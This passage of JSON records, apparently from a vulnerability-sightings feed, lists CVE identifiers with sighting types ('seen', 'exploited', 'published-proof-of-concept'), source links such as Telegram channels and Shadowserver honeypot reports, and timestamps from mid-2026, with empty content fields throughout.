"32c7b858-5524-4c22-8732-42adad7103ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/Positive_Technologies/2462", "content": "", "creation_timestamp": "2026-07-28T18:00:06.679533Z"}, {"uuid": "3c09d82d-277e-4dc9-b072-e7c21886e6dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/Positive_Technologies/2462", "content": "", "creation_timestamp": "2026-07-29T00:00:30.078874Z"}, {"uuid": "3ce58386-31dd-4214-884d-201af386081d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-28)", "content": "", "creation_timestamp": "2026-07-29T10:15:04.252875Z"}, {"uuid": "976abf31-4568-4c5c-b4fd-1285be1ecb7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-28)", "content": "", "creation_timestamp": "2026-07-29T10:00:03.218706Z"}, {"uuid": "5df6d271-8eeb-4c87-8fae-1f4407b41b3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/itpgchannel/2609", "content": "", "creation_timestamp": "2026-07-29T12:00:05.008061Z"}, {"uuid": "5d976d0a-127b-499e-a65d-b959b14c46ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/itpgchannel/2609", "content": "", "creation_timestamp": "2026-07-29T12:00:04.970964Z"}, {"uuid": "0f54f951-912e-49f1-a4b1-bdee890a0675", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://t.me/reverseame/5332", "content": "", "creation_timestamp": "2026-07-29T12:02:02.251456Z"}, {"uuid": "90e1400b-b3dd-4cc0-ac6d-569cc3a4a26c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://t.me/reverseame/5332", "content": "", "creation_timestamp": "2026-07-30T00:02:13.517616Z"}, {"uuid": "9b915da8-f56a-4575-bf57-0b6ee215b711", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12085", "type": "published-proof-of-concept", "source": "https://t.me/itpgchannel/2609", "content": "", "creation_timestamp": "2026-07-30T00:00:30.767031Z"}, {"uuid": "3c4207dd-0b1f-45a0-9d1f-74e9288d8edb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "https://t.me/itpgchannel/2609", "content": "", "creation_timestamp": "2026-07-30T00:00:30.721985Z"}, {"uuid": "142ec924-ab06-4d86-9063-37bf730173f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-29)", "content": "", "creation_timestamp": "2026-07-30T10:15:03.167441Z"}, {"uuid": "75c1ccdb-1cf9-4f24-9256-815497710b8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-29)", "content": "", "creation_timestamp": "2026-07-30T10:00:03.021285Z"}, {"uuid": "8f32c164-48af-47d0-821c-0f0254ceb2d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/meethune/1b264365b640a7e162f228b8ed74666a", "content": "", "creation_timestamp": "2026-07-30T20:45:27.381525Z"}, {"uuid": "aeb05bbf-8605-43fb-8153-2a35c40a95b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-30)", "content": "", "creation_timestamp": "2026-07-31T10:15:04.610257Z"}, {"uuid": "0f30b223-3569-40c8-8b61-8dcb591b9034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-30)", "content": "", "creation_timestamp": "2026-07-31T10:00:03.865792Z"}, {"uuid": "64e9647c-f226-4f16-8299-e50f3d496246", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-31)", "content": "", "creation_timestamp": "2026-08-01T10:00:03.427240Z"}, {"uuid": "6fa7f5cc-fa96-4c09-88bb-38c7d3b37901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-31)", "content": "", "creation_timestamp": "2026-08-01T10:15:03.967535Z"}, {"uuid": "bca32388-43cb-40df-ae44-a96726f467f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://t.me/reverseame/5332", "content": "", "creation_timestamp": "2026-08-02T00:00:08.225876Z"}, {"uuid": "c5580c5e-9c38-41eb-98e4-4c5e35649fd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-01)", "content": "", "creation_timestamp": "2026-08-02T10:19:23.996979Z"}, {"uuid": "b8a5f94b-5adf-4dfd-b201-09fd2a0d8f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3ms3sawavss2v", "content": "", "creation_timestamp": "2026-08-02T10:40:45.906735Z"}, {"uuid": "fb90e18f-2aea-42ce-8211-70af587f7e46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-02)", "content": "", "creation_timestamp": "2026-08-03T10:04:23.175229Z"}, {"uuid": "f265cdc7-1da7-41a6-ac19-2348d766749c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-02)", "content": "", "creation_timestamp": "2026-08-03T10:19:25.260315Z"}, {"uuid": "08ae8ba5-bd00-4ff5-95e4-7e14428197c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-03)", "content": "", "creation_timestamp": "2026-08-04T10:00:08.820068Z"}, {"uuid": "0ae9f291-29f1-4715-a110-fcbd89f7d8f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-03)", "content": "", "creation_timestamp": "2026-08-04T10:00:05.071177Z"}, {"uuid": "0f9fc75f-e20b-4fa9-827b-e27f1f4d07fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-03)", "content": "", "creation_timestamp": "2026-08-04T10:15:04.257220Z"}, {"uuid": "2ff9f224-2d55-410d-9337-0b1bf73e2b4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/REDTalk_base/132", "content": "", "creation_timestamp": "2026-08-04T13:00:18.291919Z"}, {"uuid": "550fa387-fdf8-4aac-a377-41f87ed4f652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://t.me/purp_sec/151", "content": "", "creation_timestamp": "2026-08-04T13:00:17.036200Z"}, {"uuid": "35c1a8cd-045a-4d73-a9d6-8daa7650ca51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/purp_sec/175", "content": "", "creation_timestamp": "2026-08-04T13:00:15.422744Z"}, {"uuid": "1f5fa788-dc3c-443a-a024-57600f31a093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://t.me/purp_sec/190", "content": "", "creation_timestamp": "2026-08-04T13:00:15.249178Z"}, {"uuid": "c0016138-5445-4fb8-965f-777043390e18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "", "creation_timestamp": "2026-08-04T13:00:14.643431Z"}, {"uuid": "69fc561c-4eac-4384-9859-2534d887ef64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "", "creation_timestamp": "2026-08-04T13:00:14.575660Z"}, {"uuid": "cbb99720-0675-49d4-bf60-0484099eae52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "", "creation_timestamp": "2026-08-04T13:00:14.473605Z"}, {"uuid": "ccd6908c-bf22-4ab1-85ab-d63b57abc8a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/purp_sec/222", "content": "", "creation_timestamp": "2026-08-04T13:00:14.173509Z"}, {"uuid": "5372256f-e831-484d-b579-b9c1c19a23d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://t.me/purp_sec/223", "content": "", "creation_timestamp": "2026-08-04T13:00:13.943533Z"}, {"uuid": "a6475d10-bb66-4fa7-9d57-249bf060f17e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/purp_sec/253", "content": "", "creation_timestamp": "2026-08-04T13:00:13.248452Z"}, {"uuid": "9e104b89-b30e-485f-a927-5747eba329e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://t.me/purp_sec/263", "content": "", "creation_timestamp": "2026-08-04T13:00:12.900121Z"}, {"uuid": "53d02b99-7674-41cd-a352-fbd23b5dc1e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://t.me/purp_sec/265", "content": "", "creation_timestamp": "2026-08-04T13:00:11.432132Z"}, {"uuid": "5f71e1b8-baad-4ec6-910d-e95dfa497259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "", "creation_timestamp": "2026-08-04T13:00:11.342163Z"}, {"uuid": "d192a962-442f-428f-8247-98ed56a06233", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "", "creation_timestamp": "2026-08-04T13:00:11.251695Z"}, {"uuid": "c24f9a1d-dc43-4f66-8b4c-52bb2fc3f106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "", "creation_timestamp": "2026-08-04T13:00:11.183062Z"}, {"uuid": "c2b04c0f-65f1-4b1e-8edf-5e09736502fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "", "creation_timestamp": "2026-08-04T13:00:11.158680Z"}, {"uuid": "3f594963-4af0-4d02-8440-56fa85f0fafc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "", "creation_timestamp": "2026-08-04T13:00:10.885886Z"}, {"uuid": "7e98d067-fee5-49a5-b2a7-8c6901e1059e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "", "creation_timestamp": "2026-08-04T13:00:10.829874Z"}, {"uuid": "642e575c-0837-464e-9912-864c48f6bf79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/purp_sec/316", "content": "", "creation_timestamp": "2026-08-04T13:00:09.770060Z"}, {"uuid": "82af9ba2-910d-4bd9-8f16-e570f85406a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/purp_sec/363", "content": "", "creation_timestamp": "2026-08-04T13:00:06.664763Z"}, {"uuid": "95016ef3-aba4-4529-86d9-2777466fb4fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://t.me/purple_team_diary/50", "content": "", "creation_timestamp": "2026-08-04T14:00:16.220878Z"}, {"uuid": "329957c0-87f3-4b15-a6ed-be0577ff89f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/REDTalk_base/132", "content": "", "creation_timestamp": "2026-08-05T00:00:33.448701Z"}, {"uuid": "51d91a8e-8df9-4b8d-8d32-03dc7267e83e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/purp_sec/363", "content": "", "creation_timestamp": "2026-08-05T00:00:27.344907Z"}, {"uuid": "3bc084ec-e533-4340-8fdc-8a3725a74b03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/purp_sec/316", "content": "", "creation_timestamp": "2026-08-05T00:00:24.172528Z"}, {"uuid": "bfdd4e2a-6880-454f-9ade-e17dc3778743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "", "creation_timestamp": "2026-08-05T00:00:22.980943Z"}, {"uuid": "9d26abef-789a-454d-a03d-fae8866f44a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "", "creation_timestamp": "2026-08-05T00:00:22.914161Z"}, {"uuid": "47498a90-e3af-4932-bd2e-14b4696f8600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "", "creation_timestamp": "2026-08-05T00:00:22.631300Z"}, {"uuid": "8dde04ec-a1de-40ae-90ed-cd042afb88cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "", "creation_timestamp": "2026-08-05T00:00:22.554236Z"}, {"uuid": "46bc5b21-9fc6-4f32-a78e-a966de7c32fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "", "creation_timestamp": "2026-08-05T00:00:22.401125Z"}, {"uuid": "c2797b84-4f00-4626-844b-bac28ba5b00a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "", "creation_timestamp": "2026-08-05T00:00:22.290290Z"}, {"uuid": "e5930663-c6e6-4152-942f-5483c20b30ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://t.me/purp_sec/265", "content": "", "creation_timestamp": "2026-08-05T00:00:22.028752Z"}, {"uuid": "b74c36fc-f5c2-4dea-bfe9-e6722fbd8787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://t.me/purp_sec/263", "content": "", "creation_timestamp": "2026-08-05T00:00:21.640539Z"}, {"uuid": "54026cbd-7d60-42a3-80e3-ce0acaed4c60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/purp_sec/253", "content": "", "creation_timestamp": "2026-08-05T00:00:21.304726Z"}, {"uuid": "c0049c5b-cda8-444a-8f69-df5747e18263", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://t.me/purp_sec/223", "content": "", "creation_timestamp": "2026-08-05T00:00:10.831845Z"}, {"uuid": "488e4e47-b4e2-48a9-8d25-ac84de5a8540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/purp_sec/222", "content": "", "creation_timestamp": "2026-08-05T00:00:10.590237Z"}, {"uuid": "e709afca-31af-4b69-9180-f189b0f9ef4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "", "creation_timestamp": "2026-08-05T00:00:10.390325Z"}, {"uuid": "b35d8d60-00e8-415d-ab9f-200c45edde1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "", "creation_timestamp": "2026-08-05T00:00:10.296023Z"}, {"uuid": "5a9bb3a6-882f-4336-98ef-9a899361cf77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "", "creation_timestamp": "2026-08-05T00:00:10.207258Z"}, {"uuid": "50e4ba11-5a51-4f67-a0c2-7f88781715cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://t.me/purp_sec/190", "content": "", "creation_timestamp": "2026-08-05T00:00:09.402872Z"}, {"uuid": "08d53396-7114-48e9-bddb-d0377c939728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/purp_sec/175", "content": "", "creation_timestamp": "2026-08-05T00:00:07.121438Z"}, {"uuid": "25e6d6fa-dec2-4af6-af14-1fee06d93f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://t.me/purp_sec/151", "content": "", "creation_timestamp": "2026-08-05T00:00:06.885799Z"}, {"uuid": "444a0be9-65ec-4864-b471-dc27402570f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "published-proof-of-concept", "source": "https://t.me/purple_team_diary/50", "content": "", "creation_timestamp": "2026-08-05T00:00:06.667596Z"}, {"uuid": "22ea234d-d496-4bf5-9f2c-defcd19f3cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-04)", "content": "", "creation_timestamp": "2026-08-05T10:00:05.318914Z"}, {"uuid": "73862e43-97dd-450b-8751-32b521c76c6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-04)", "content": "", "creation_timestamp": "2026-08-05T10:15:08.692236Z"}, {"uuid": "837115b5-3f73-4321-8ee4-8798ac650983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/REDTalk_base/132", "content": "", "creation_timestamp": "2026-08-06T00:01:00.277209Z"}, {"uuid": "2842e301-977d-4ae3-bde7-684b33b54f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "", "creation_timestamp": "2026-08-06T04:00:04.232267Z"}, {"uuid": "0b62f67d-0c2b-4887-83e8-43245abacffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "", "creation_timestamp": "2026-08-06T04:00:04.192681Z"}, {"uuid": "c76ffbfa-9876-44f5-89e0-ba236604118f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://t.me/ZerodayAlert/428", "content": "", "creation_timestamp": "2026-08-06T04:00:04.141421Z"}, {"uuid": "ddc442d8-6136-411e-8e81-4929c967709f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/ZerodayAlert/428", "content": "", "creation_timestamp": "2026-08-06T04:00:04.103597Z"}, {"uuid": "39c735c2-6883-4124-9f5d-16c41da8a2cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-05)", "content": "", "creation_timestamp": "2026-08-06T10:15:05.038581Z"}, {"uuid": "0d9548c8-2fe2-4dad-978f-6636f34bc85b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-05)", "content": "", "creation_timestamp": "2026-08-06T10:00:03.875793Z"}, {"uuid": "95efc1da-f998-4c7c-99fe-1da92d688e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "", "creation_timestamp": "2026-08-07T00:36:49.272044Z"}, {"uuid": "672cef59-c12d-4b89-8432-64d4b61889af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "", "creation_timestamp": "2026-08-07T00:34:39.185984Z"}, {"uuid": "9cd44b25-aaeb-4853-b88c-e5133ecb7223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": 